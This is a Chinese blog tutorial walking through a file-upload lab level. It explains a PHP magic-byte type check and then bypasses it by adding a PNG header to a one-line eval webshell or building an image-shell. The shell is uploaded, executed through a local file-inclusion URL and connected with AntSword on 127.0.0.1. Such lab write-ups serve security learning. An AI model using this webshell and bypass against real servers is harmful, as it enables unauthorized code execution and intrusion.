手拿乾坤圈,脚踩缝纫机——文件上传漏洞篇(十五)

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。——鲁迅

知识补给库

学习内容:文件上传漏洞与文件包含漏洞的综合利用
常见的图片标识

  • JPEG/JFIF(常见的照片格式):前两个字节为0xFF0xD8
  • PNG(无损压缩格式):前两个字节为0x890x50
  • GIF(支持动画的图像格式):前两个字节为0x470x49
  • BMPWindows位图格式):前两个字节为0x420x4D
  • TIFF(标签图像文件格式):前两个字节可以是不同的值

在这里插入图片描述

PHP函数

unpack()函数

unpack 函数用于将二进制字符串解包为 PHP 数组。@ 符号在这里的作用是抑制可能产生的警告或错误

  • 如果 $bin 的长度小于 2 个字节,unpack 会返回一个包含部分数据的数组,或者可能产生警告(被 @ 抑制)
$bin = "\xFF\xD8";  // 两个十六进制的数
$result = @unpack("C2chars", $bin);  
print_r($result);

第一个参数:C2chars

  • C 表示无符号字符(unsigned char),每个字符占用 1 个字节
  • 2 表示读取 2 个这样的字符
  • chars 是数组键的名称,用于标识解包后的数据
    第二个参数:$bin是需要解包的二进制字符串

在这里插入图片描述

intval()函数

intval() 函数用于将一个变量转换为整数(integer)。它是一个类型强制函数,可以将非整数类型的值转换为整数类型。

$bin = "\xFF\xD8";  // 两个十六进制的数
$result = @unpack("C2chars", $bin);  
print_r($result);  
$typeCode = intval($result['chars1'].$result['chars2']);  
echo $typeCode;

这段代码就是将数组中的内容转为整数,拼接到一起。

在这里插入图片描述

代码审计

打开第14关的源代码,先来看一下主题代码,如下图所示
在这里插入图片描述

  • $temp_file记录上传文件的临时保存位置
  • $file_type记录了上传文件的类型,也是getReailFileType($temp_file)的返回值。getReailFileType()函数是靶场作者写的函数,在下面进行分析
  • if($file_type == 'unknown')如果上传文件的类型为unknow,则文件上传失败;否则就上传成功

接下来分析一下getReailFileType()函数的作用,代码如下
在这里插入图片描述

  • 参数$filename就是代表上传的文件
  • $file = fopen($filename, "rb");表示打开上传的文件,rread,表示读取;bbinary,表示二进制。rb表示以二进制的形式进行读取操作。
  • $bin = fread($file, 2);表示将上传文件的前两个字节保存到$bin
  • fclose($file);表示读取完成后关闭文件
  • $strInfo = @unpack("C2chars", $bin);@unpack("C2chars", $bin)将二进制字符串 $bin 按照指定的格式(C2chars)解析为一个数组
  • $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);中的intval()是将数组$strInfo中的内容转化为整数并拼接到一起
  • 最后使用switch()进行判断,是否为jpgpnggif中的一种
    • 如果上传的文件的前两个字节不属于这三种,则返回unknown

小结:这段代码是获取上传文件的前两个字节与jpg0xFF0xD8)、png0x890x50)、gif0x470x49)进行比较,如果相同则允许上传,不同则不允许上传。

靶场实战

思路

这个关卡可以使用两种方式

  • 修改文件头+文件包含漏洞
  • 使用图片马+文件包含漏洞

修改文件头

推荐两款工具:010EditorImHex010Editor是收费的,ImHex是开源的,可以在github上下载到。我之前的文章也有写过这款工具。
创建一句话木马文件muma.php,内容如下:

aa<?php @eval($_POST['x']); ?>

这里使用010 Editor修改文件头。可以看到文件以6161开头,这就是上面代码中起始位置的aa,需要把这两个字符改为png文件的前两个字符8950

  • 这就是一句话木马中以aa开头的原因,用于修改文件头,而不影响一句话木马

在这里插入图片描述

将鼠标定位到修改的内容处,直接输入修改的内容即可更改。更改完成后记得保存。
在这里插入图片描述

制作图片马

准备一张图片和一句话木马文件,使用命令:copy a.png/b+muma.php muma.png
这个方法在第四关讲过,这里不再赘述。可以参考这个系列的第五篇文章。

靶场测试

打开靶场第十四关,上传修改了文件头的一句话木马文件muma1.php

  • 也可以上传图片马,成功后使用文件包含同样可以成功。

在这里插入图片描述

点击上传按钮后,看到文件上传成功
在这里插入图片描述

打开木马文件的保存位置,发现木马文件被服务器以png格式进行保存
在这里插入图片描述

使用蚁剑肯定是不可能连接成功的。这里可以试一下。
在这里插入图片描述

文件包含

重点放在前面:PHP进行文件包含时,包含进来的文件,无论是什么类型的文件,均当作PHP代码文件进行解析
在靶场第十四关的提示中,看到有文件包含漏洞的字样
在这里插入图片描述

接下来,点开文件包含漏洞来看一下,点开后给出如下代码
在这里插入图片描述

这段代码的含义是:通过GET方法接收上传的文件,如果文件存在便使用include对文件进行文件包含操作。

  • 文件包含特点:任何类型的文件均当作PHP代码文件进行解析。
利用文件包含读取上传的木马文件

前面上传的木马文件的保存位置为:upload/2320250310162335.png
在这里插入图片描述

利用文件包含读取上传的木马文件,为file传值,完整URL如下:
http://127.0.0.1/upload/include.php?file=./upload/2320250310162335.png

在这里插入图片描述

使用./upload/2320250310162335.png中的./代表当前目录

  • 上传文件的保存位置与文件包含漏洞的代码位于同一级目录,因此使用./

在这里插入图片描述

访问上面的URL,看到木马文件上传成功,使用蚁剑连接这个URL
在这里插入图片描述

使用蚁剑连接,可以成功连接
在这里插入图片描述

小结

修改文件头,将php文件的文件头修改为图片的文件头,从而实现上传成功。
然后利用文件包含漏洞的特性,将上传的图片文件当作PHP文件进行解析。

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值